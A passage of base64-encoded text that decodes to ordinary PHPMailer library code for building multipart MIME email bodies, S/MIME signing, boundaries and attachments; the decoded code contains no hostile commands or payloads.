oaXMtPkJvZHksICRib2R5RW5jb2RpbmcpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkxFIC4gJHRoaXMtPkxFOwogICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkdGhpcy0+SWNhbCkpIHsKICAgICAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+Z2V0Qm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzFdLCAnJywgJ3RleHQvY2FsZW5kYXI7IG1ldGhvZD1SRVFVRVNUJywgJycpOwogICAgICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5lbmNvZGVTdHJpbmcoJHRoaXMtPkljYWwsICR0aGlzLT5FbmNvZGluZyk7CiAgICAgICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkxFIC4gJHRoaXMtPkxFOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmVuZEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsxXSk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAnYWx0X2lubGluZSc6CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkbWltZXByZTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5nZXRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMV0sICRhbHRCb2R5Q2hhclNldCwgJ3RleHQvcGxhaW4nLCAkYWx0Qm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5lbmNvZGVTdHJpbmcoJHRoaXMtPkFsdEJvZHksICRhbHRCb2R5RW5jb2RpbmcpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkxFIC4gJHRoaXMtPkxFOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPnRleHRMaW5lKCctLScgLiAkdGhpcy0+Ym91bmRhcnlbMV0pOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0NvbnRlbnQtVHlwZScsICdtdWx0aXBhcnQvcmVsYXRlZDsnKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT50ZXh0TGluZSgiXHRib3VuZGFyeT1cIiIgLiAkdGhpcy0+Ym91bmRhcnlbMl0gLiAnIicpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkxFOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmdldEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsyXSwgJGJvZHlDaGFyU2V0LCAndGV4dC9odG1sJywgJGJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5Cb2R5LCAkYm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5hdHRhY2hBbGwoJ2lubGluZScsICR0aGlzLT5ib3VuZGFyeVsyXSk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+TEU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5kQm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzFdKTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICdhbHRfYXR0YWNoJzoKICAgICAgICAgICAgICAgICRib2R5IC49ICRtaW1lcHJlOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPnRleHRMaW5lKCctLScgLiAkdGhpcy0+Ym91bmRhcnlbMV0pOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0NvbnRlbnQtVHlwZScsICdtdWx0aXBhcnQvYWx0ZXJuYXRpdmU7Jyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+dGV4dExpbmUoIlx0Ym91bmRhcnk9XCIiIC4gJHRoaXMtPmJvdW5kYXJ5WzJdIC4gJyInKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5nZXRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMl0sICRhbHRCb2R5Q2hhclNldCwgJ3RleHQvcGxhaW4nLCAkYWx0Qm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5lbmNvZGVTdHJpbmcoJHRoaXMtPkFsdEJvZHksICRhbHRCb2R5RW5jb2RpbmcpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkxFIC4gJHRoaXMtPkxFOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmdldEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsyXSwgJGJvZHlDaGFyU2V0LCAndGV4dC9odG1sJywgJGJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5Cb2R5LCAkYm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5lbmRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMl0pOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkxFOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmF0dGFjaEFsbCgnYXR0YWNobWVudCcsICR0aGlzLT5ib3VuZGFyeVsxXSk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAnYWx0X2lubGluZV9hdHRhY2gnOgogICAgICAgICAgICAgICAgJGJvZHkgLj0gJG1pbWVwcmU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+dGV4dExpbmUoJy0tJyAuICR0aGlzLT5ib3VuZGFyeVsxXSk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+aGVhZGVyTGluZSgnQ29udGVudC1UeXBlJywgJ211bHRpcGFydC9hbHRlcm5hdGl2ZTsnKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT50ZXh0TGluZSgiXHRib3VuZGFyeT1cIiIgLiAkdGhpcy0+Ym91bmRhcnlbMl0gLiAnIicpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkxFOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmdldEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsyXSwgJGFsdEJvZHlDaGFyU2V0LCAndGV4dC9wbGFpbicsICRhbHRCb2R5RW5jb2RpbmcpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmVuY29kZVN0cmluZygkdGhpcy0+QWx0Qm9keSwgJGFsdEJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+TEUgLiAkdGhpcy0+TEU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+dGV4dExpbmUoJy0tJyAuICR0aGlzLT5ib3VuZGFyeVsyXSk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+aGVhZGVyTGluZSgnQ29udGVudC1UeXBlJywgJ211bHRpcGFydC9yZWxhdGVkOycpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPnRleHRMaW5lKCJcdGJvdW5kYXJ5PVwiIiAuICR0aGlzLT5ib3VuZGFyeVszXSAuICciJyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+TEU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+Z2V0Qm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzNdLCAkYm9keUNoYXJTZXQsICd0ZXh0L2h0bWwnLCAkYm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5lbmNvZGVTdHJpbmcoJHRoaXMtPkJvZHksICRib2R5RW5jb2RpbmcpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkxFIC4gJHRoaXMtPkxFOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmF0dGFjaEFsbCgnaW5saW5lJywgJHRoaXMtPmJvdW5kYXJ5WzNdKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5lbmRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMl0pOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkxFOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmF0dGFjaEFsbCgnYXR0YWNobWVudCcsICR0aGlzLT5ib3VuZGFyeVsxXSk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgIC8vIGNhdGNoIGNhc2UgJ3BsYWluJyBhbmQgY2FzZSAnJwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmVuY29kZVN0cmluZygkdGhpcy0+Qm9keSwgJGJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICB9CgogICAgICAgIGlmICgkdGhpcy0+aXNFcnJvcigpKSB7CiAgICAgICAgICAgICRib2R5ID0gJyc7CiAgICAgICAgfSBlbHNlaWYgKCR0aGlzLT5zaWduX2tleV9maWxlKSB7CiAgICAgICAgICAgIHRyeSB7CiAgICAgICAgICAgICAgICBpZiAoIWRlZmluZWQoJ1BLQ1M3X1RFWFQnKSkgewogICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2V4dGVuc2lvbl9taXNzaW5nJykgLiAnb3BlbnNzbCcpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgLy8gQFRPRE8gd291bGQgYmUgbmljZSB0byB1c2UgcGhwOi8vdGVtcCBzdHJlYW1zIGhlcmUsIGJ1dCBuZWVkIHRvIHdyYXAgZm9yIFBIUCA8IDUuMQogICAgICAgICAgICAgICAgJGZpbGUgPSB0ZW1wbmFtKHN5c19nZXRfdGVtcF9kaXIoKSwgJ21haWwnKTsKICAgICAgICAgICAgICAgIGlmIChmYWxzZSA9PT0gZmlsZV9wdXRfY29udGVudHMoJGZpbGUsICRib2R5KSkgewogICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ3NpZ25pbmcnKSAuICcgQ291bGQgbm90IHdyaXRlIHRlbXAgZmlsZScpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJHNpZ25lZCA9IHRlbXBuYW0oc3lzX2dldF90ZW1wX2RpcigpLCAnc2lnbmVkJyk7CiAgICAgICAgICAgICAgICAvL1dvcmthcm91bmQgZm9yIFBIUCBidWcgaHR0cHM6Ly9idWdzLnBocC5uZXQvYnVnLnBocD9pZD02OTE5NwogICAgICAgICAgICAgICAgaWYgKGVtcHR5KCR0aGlzLT5zaWduX2V4dHJhY2VydHNfZmlsZSkpIHsKICAgICAgICAgICAgICAgICAgICAkc2lnbiA9IEBvcGVuc3NsX3BrY3M3X3NpZ24oCiAgICAgICAgICAgICAgICAgICAgICAgICRmaWxlLAogICAgICAgICAgICAgICAgICAgICAgICAkc2lnbmVkLAogICAgICAgICAgICAgICAgICAgICAgICAnZmlsZTovLycgLiByZWFscGF0aCgkdGhpcy0+c2lnbl9jZXJ0X2ZpbGUpLAogICAgICAgICAgICAgICAgICAgICAgICBhcnJheSgnZmlsZTovLycgLiByZWFscGF0aCgkdGhpcy0+c2lnbl9rZXlfZmlsZSksICR0aGlzLT5zaWduX2tleV9wYXNzKSwKICAgICAgICAgICAgICAgICAgICAgICAgbnVsbAogICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICRzaWduID0gQG9wZW5zc2xfcGtjczdfc2lnbigKICAgICAgICAgICAgICAgICAgICAgICAgJGZpbGUsCiAgICAgICAgICAgICAgICAgICAgICAgICRzaWduZWQsCiAgICAgICAgICAgICAgICAgICAgICAgICdmaWxlOi8vJyAuIHJlYWxwYXRoKCR0aGlzLT5zaWduX2NlcnRfZmlsZSksCiAgICAgICAgICAgICAgICAgICAgICAgIGFycmF5KCdmaWxlOi8vJyAuIHJlYWxwYXRoKCR0aGlzLT5zaWduX2tleV9maWxlKSwgJHRoaXMtPnNpZ25fa2V5X3Bhc3MpLAogICAgICAgICAgICAgICAgICAgICAgICBudWxsLAogICAgICAgICAgICAgICAgICAgICAgICBQS0NTN19ERVRBQ0hFRCwKICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnNpZ25fZXh0cmFjZXJ0c19maWxlCiAgICAgICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmICgkc2lnbikgewogICAgICAgICAgICAgICAgICAgIEB1bmxpbmsoJGZpbGUpOwogICAgICAgICAgICAgICAgICAgICRib2R5ID0gZmlsZV9nZXRfY29udGVudHMoJHNpZ25lZCk7CiAgICAgICAgICAgICAgICAgICAgQHVubGluaygkc2lnbmVkKTsKICAgICAgICAgICAgICAgICAgICAvL1RoZSBtZXNzYWdlIHJldHVybmVkIGJ5IG9wZW5zc2wgY29udGFpbnMgYm90aCBoZWFkZXJzIGFuZCBib2R5LCBzbyBuZWVkIHRvIHNwbGl0IHRoZW0gdXAKICAgICAgICAgICAgICAgICAgICAkcGFydHMgPSBleHBsb2RlKCJcblxuIiwgJGJvZHksIDIpOwogICAgICAgICAgICAgICAgICAgICR0aGlzLT5NSU1FSGVhZGVyIC49ICRwYXJ0c1swXSAuICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICAgICAkYm9keSA9ICRwYXJ0c1sxXTsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgQHVubGluaygkZmlsZSk7CiAgICAgICAgICAgICAgICAgICAgQHVubGluaygkc2lnbmVkKTsKICAgICAgICAgICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdzaWduaW5nJykgLiBvcGVuc3NsX2Vycm9yX3N0cmluZygpKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfSBjYXRjaCAocGhwbWFpbGVyRXhjZXB0aW9uICRleGMpIHsKICAgICAgICAgICAgICAgICRib2R5ID0gJyc7CiAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPmV4Y2VwdGlvbnMpIHsKICAgICAgICAgICAgICAgICAgICB0aHJvdyAkZXhjOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiAkYm9keTsKICAgIH0KCiAgICAvKioKICAgICAqIFJldHVybiB0aGUgc3RhcnQgb2YgYSBtZXNzYWdlIGJvdW5kYXJ5LgogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqIEBwYXJhbSBzdHJpbmcgJGJvdW5kYXJ5CiAgICAgKiBAcGFyYW0gc3RyaW5nICRjaGFyU2V0CiAgICAgKiBAcGFyYW0gc3RyaW5nICRjb250ZW50VHlwZQogICAgICogQHBhcmFtIHN0cmluZyAkZW5jb2RpbmcKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHByb3RlY3RlZCBmdW5jdGlvbiBnZXRCb3VuZGFyeSgkYm91bmRhcnksICRjaGFyU2V0LCAkY29udGVudFR5cGUsICRlbmNvZGluZykKICAgIHsKICAgICAgICAkcmVzdWx0ID0gJyc7CiAgICAgICAgaWYgKCRjaGFyU2V0ID09ICcnKSB7CiAgICAgICAgICAgICRjaGFyU2V0ID0gJHRoaXMtPkNoYXJTZXQ7CiAgICAgICAgfQogICAgICAgIGlmICgkY29udGVudFR5cGUgPT0gJycpIHsKICAgICAgICAgICAgJGNvbnRlbnRUeXBlID0gJHRoaXMtPkNvbnRlbnRUeXBlOwogICAgICAgIH0KICAgICAgICBpZiAoJGVuY29kaW5nID09ICcnKSB7CiAgICAgICAgICAgICRlbmNvZGluZyA9ICR0aGlzLT5FbmNvZGluZzsKICAgICAgICB9CiAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+dGV4dExpbmUoJy0tJyAuICRib3VuZGFyeSk7CiAgICAgICAgJHJlc3VsdCAuPSBzcHJpbnRmKCdDb250ZW50LVR5cGU6ICVzOyBjaGFyc2V0PSVzJywgJGNvbnRlbnRUeXBlLCAkY2hhclNldCk7CiAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+TEU7CiAgICAgICAgLy8gUkZDMTM0MSBwYXJ0IDUgc2F5cyA3Yml0IGlzIGFzc3VtZWQgaWYgbm90IHNwZWNpZmllZAogICAgICAgIGlmICgkZW5jb2RpbmcgIT0gJzdiaXQnKSB7CiAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0NvbnRlbnQtVHJhbnNmZXItRW5jb2RpbmcnLCAkZW5jb2RpbmcpOwogICAgICAgIH0KICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5MRTsKCiAgICAgICAgcmV0dXJuICRyZXN1bHQ7CiAgICB9CgogICAgLyoqCiAgICAgKiBSZXR1cm4gdGhlIGVuZCBvZiBhIG1lc3NhZ2UgYm91bmRhcnkuCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICogQHBhcmFtIHN0cmluZyAkYm91bmRhcnkKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHByb3RlY3RlZCBmdW5jdGlvbiBlbmRCb3VuZGFyeSgkYm91bmRhcnkpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5MRSAuICctLScgLiAkYm91bmRhcnkgLiAnLS0nIC4gJHRoaXMtPkxFOwogICAgfQoKICAgIC8qKgogICAgICogU2V0IHRoZSBtZXNzYWdlIHR5cGUuCiAgICAgKiBQSFBNYWlsZXIgb25seSBzdXBwb3J0cyBzb21lIHByZXNldCBtZXNzYWdlIHR5cGVzLAogICAgICogbm90IGFyYml0cmFyeSBNSU1FIHN0cnVjdHVyZXMuCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHByb3RlY3RlZCBmdW5jdGlvbiBzZXRNZXNzYWdlVHlwZSgpCiAgICB7CiAgICAgICAgJHR5cGUgPSBhcnJheSgpOwogICAgICAgIGlmICgkdGhpcy0+YWx0ZXJuYXRpdmVFeGlzdHMoKSkgewogICAgICAgICAgICAkdHlwZVtdID0gJ2FsdCc7CiAgICAgICAgfQogICAgICAgIGlmICgkdGhpcy0+aW5saW5lSW1hZ2VFeGlzdHMoKSkgewogICAgICAgICAgICAkdHlwZVtdID0gJ2lubGluZSc7CiAgICAgICAgfQogICAgICAgIGlmICgkdGhpcy0+YXR0YWNobWVudEV4aXN0cygpKSB7CiAgICAgICAgICAgICR0eXBlW10gPSAnYXR0YWNoJzsKICAgICAgICB9CiAgICAgICAgJHRoaXMtPm1lc3NhZ2VfdHlwZSA9IGltcGxvZGUoJ18nLCAkdHlwZSk7CiAgICAgICAgaWYgKCR0aGlzLT5tZXNzYWdlX3R5cGUgPT0gJycpIHsKICAgICAgICAgICAgJHRoaXMtPm1lc3NhZ2VfdHlwZSA9ICdwbGFpbic7CiAgICAgICAgfQogICAgfQoKICAgIC8qKgogICAgICogRm9ybWF0IGEgaGVhZGVyIGxpbmUuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHBhcmFtIHN0cmluZyAkbmFtZQogICAgICogQHBhcmFtIHN0cmluZyAkdmFsdWUKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBoZWFkZXJMaW5lKCRuYW1lLCAkdmFsdWUpCiAgICB7CiAgICAgICAgcmV0dXJuICRuYW1lIC4gJzogJyAuICR2YWx1ZSAuICR0aGlzLT5MRTsKICAgIH0KCiAgICAvKioKICAgICAqIFJldHVybiBhIGZvcm1hdHRlZCBtYWlsIGxpbmUuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHBhcmFtIHN0cmluZyAkdmFsdWUKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiB0ZXh0TGluZSgkdmFsdWUpCiAgICB7CiAgICAgICAgcmV0dXJuICR2YWx1ZSAuICR0aGlzLT5MRTsKICAgIH0KCiAgICAvKioKICAgICAqIEFkZCBhbiBhdHRhY2htZW50IGZyb20gYSBwYXRoIG9uIHRoZSBmaWxlc3lzdGVtLgogICAgICogUmV0dXJucyBmYWxzZSBpZiB0aGUgZmlsZSBjb3VsZCBub3QgYmUgZm91bmQgb3IgcmVhZC4KICAgICAqIEBwYXJhbSBzdHJpbmcgJHBhdGggUGF0aCB0byB0aGUgYXR0YWNobWVudC4KICAgICAqIEBwYXJhbSBzdHJpbmcgJG5hbWUgT3ZlcnJpZGVzIHRoZSBhdHRhY2htZW50IG5hbWUuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRlbmNvZGluZyBGaWxlIGVuY29kaW5nIChzZWUgJEVuY29kaW5nKS4KICAgICAqIEBwYXJhbSBzdHJpbmcgJHR5cGUgRmlsZSBleHRlbnNpb24gKE1JTUUpIHR5cGUuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRkaXNwb3NpdGlvbiBEaXNwb3NpdGlvbiB0byB1c2UKICAgICAqIEB0aHJvd3MgcGhwbWFpbGVyRXhjZXB0aW9uCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGFkZEF0dGFjaG1lbnQoJHBhdGgsICRuYW1lID0gJycsICRlbmNvZGluZyA9ICdiYXNlNjQnLCAkdHlwZSA9ICcnLCAkZGlzcG9zaXRpb24gPSAnYXR0YWNobWVudCcpCiAgICB7CiAgICAgICAgdHJ5IHsKICAgICAgICAgICAgaWYgKCFAaXNfZmlsZSgkcGF0aCkpIHsKICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2ZpbGVfYWNjZXNzJykgLiAkcGF0aCwgc2VsZjo6U1RPUF9DT05USU5VRSk7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC8vIElmIGEgTUlNRSB0eXBlIGlzIG5vdCBzcGVjaWZpZWQsIHRyeSB0byB3b3JrIGl0IG91dCBmcm9tIHRoZSBmaWxlIG5hbWUKICAgICAgICAgICAgaWYgKCR0eXBlID09ICcnKSB7CiAgICAgICAgICAgICAgICAkdHlwZSA9IHNlbGY6OmZpbGVuYW1lVG9UeXBlKCRwYXRoKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgJGZpbGVuYW1lID0gYmFzZW5hbWUoJHBhdGgpOwogICAgICAgICAgICBpZiAoJG5hbWUgPT0gJycpIHsKICAgICAgICAgICAgICAgICRuYW1lID0gJGZpbGVuYW1lOwogICAgICAgICAgICB9CgogICAgICAgICAgICAkdGhpcy0+YXR0YWNobWVudFtdID0gYXJyYXkoCiAgICAgICAgICAgICAgICAwID0+ICRwYXRoLAogICAgICAgICAgICAgICAgMSA9PiAkZmlsZW5hbWUsCiAgICAgICAgICAgICAgICAyID0+ICRuYW1lLAogICAgICAgICAgICAgICAgMyA9PiAkZW5jb2RpbmcsCiAgICAgICAgICAgICAgICA0ID0+ICR0eXBlLAogICAgICAgICAgICAgICAgNSA9PiBmYWxzZSwgLy8gaXNTdHJpbmdBdHRhY2htZW50CiAgICAgICAgICAgICAgICA2ID0+ICRkaXNwb3NpdGlvbiwKICAgICAgICAgICAgICAgIDcgPT4gMAogICAgICAgICAgICApOwoKICAgICAgICB9IGNhdGNoIChwaHBtYWlsZXJFeGNlcHRpb24gJGV4YykgewogICAgICAgICAgICAkdGhpcy0+c2V0RXJyb3IoJGV4Yy0+Z2V0TWVzc2FnZSgpKTsKICAgICAgICAgICAgJHRoaXMtPmVkZWJ1ZygkZXhjLT5nZXRNZXNzYWdlKCkpOwogICAgICAgICAgICBpZiAoJHRoaXMtPmV4Y2VwdGlvbnMpIHsKICAgICAgICAgICAgICAgIHRocm93ICRleGM7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICAvKioKICAgICAqIFJldHVybiB0aGUgYXJyYXkgb2YgYXR0YWNobWVudHMuCiAgICAgKiBAcmV0dXJuIGFycmF5CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRBdHRhY2htZW50cygpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5hdHRhY2htZW50OwogICAgfQoKICAgIC8qKgogICAgICogQXR0YWNoIGFsbCBmaWxlLCBzdHJpbmcsIGFuZCBiaW5hcnkgYXR0YWNobWVudHMgdG8gdGhlIG1lc3NhZ2UuCiAgICAgKiBSZXR1cm5zIGFuIGVtcHR5IHN0cmluZyBvbiBmYWlsdXJlLgogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqIEBwYXJhbSBzdHJpbmcgJGRpc3Bvc2l0aW9uX3R5cGUKICAgICAqIEBwYXJhbSBzdHJpbmcgJGJvdW5kYXJ5CiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gYXR0YWNoQWxsKCRkaXNwb3NpdGlvbl90eXBlLCAkYm91bmRhcnkpCiAgICB7CiAgICAgICAgLy8gUmV0dXJuIHRleHQgb2YgYm9keQogICAgICAgICRtaW1lID0gYXJyYXkoKTsKICAgICAgICAkY2lkVW5pcSA9IGFycmF5KCk7CiAgICAgICAgJGluY2wgPSBhcnJheSgpOwoKICAgICAgICAvLyBBZGQgYWxsIGF0dGFjaG1lbnRzCiAgICAgICAgZm9yZWFjaCAoJHRoaXMtPmF0dGFjaG1lbnQgYXMgJGF0dGFjaG1lbnQpIHsKICAgICAgICAgICAgLy8gQ2hlY2sgaWYgaXQgaXMgYSB2YWxpZCBkaXNwb3NpdGlvbl9maWx0ZXIKICAgICAgICAgICAgaWYgKCRhdHRhY2htZW50WzZdID09ICRkaXNwb3NpdGlvbl90eXBlKSB7CiAgICAgICAgICAgICAgICAvLyBDaGVjayBmb3Igc3RyaW5nIGF0dGFjaG1lbnQKICAgICAgICAgICAgICAgICRzdHJpbmcgPSAnJzsKICAgICAgICAgICAgICAgICRwYXRoID0gJyc7CiAgICAgICAgICAgICAgICAkYlN0cmluZyA9ICRhdHRhY2htZW50WzVdOwogICAgICAgICAgICAgICAgaWYgKCRiU3RyaW5nKSB7CiAgICAgICAgICAgICAgICAgICAgJHN0cmluZyA9ICRhdHRhY2htZW50WzBdOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkcGF0aCA9ICRhdHRhY2htZW50WzBdOwogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgICRpbmNsaGFzaCA9IG1kNShzZXJpYWxpemUoJGF0dGFjaG1lbnQpKTsKICAgICAgICAgICAgICAgIGlmIChpbl9hcnJheSgkaW5jbGhhc2gsICRpbmNsKSkgewogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJGluY2xbXSA9ICRpbmNsaGFzaDsKICAgICAgICAgICAgICAgICRuYW1lID0gJGF0dGFjaG1lbnRbMl07CiAgICAgICAgICAgICAgICAkZW5jb2RpbmcgPSAkYXR0YWNobWVudFszXTsKICAgICAgICAgICAgICAgICR0eXBlID0gJGF0dGFjaG1lbnRbNF07CiAgICAgICAgICAgICAgICAkZGlzcG9zaXRpb24gPSAkYXR0YWNobWVudFs2XTsKICAgICAgICAgICAgICAgICRjaWQgPSAkYXR0YWNobWVudFs3XTsKICAgICAgICAgICAgICAgIGlmICgkZGlzcG9zaXRpb24gPT0gJ2lubGluZScgJiYgYXJyYXlfa2V5X2V4aXN0cygkY2lkLCAkY2lkVW5pcSkpIHsKICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRjaWRVbmlxWyRjaWRdID0gdHJ1ZTsKCiAgICAgICAgICAgICAgICAkbWltZVtdID0gc3ByaW50ZignLS0lcyVzJywgJGJvdW5kYXJ5LCAkdGhpcy0+TEUpOwogICAgICAgICAgICAgICAgLy9Pbmx5IGluY2x1ZGUgYSBmaWxlbmFtZSBwcm9wZXJ0eSBpZiB3ZSBoYXZlIG9uZQogICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkbmFtZSkpIHsKICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gc3ByaW50ZigKICAgICAgICAgICAgICAgICAgICAgICAgJ0NvbnRlbnQ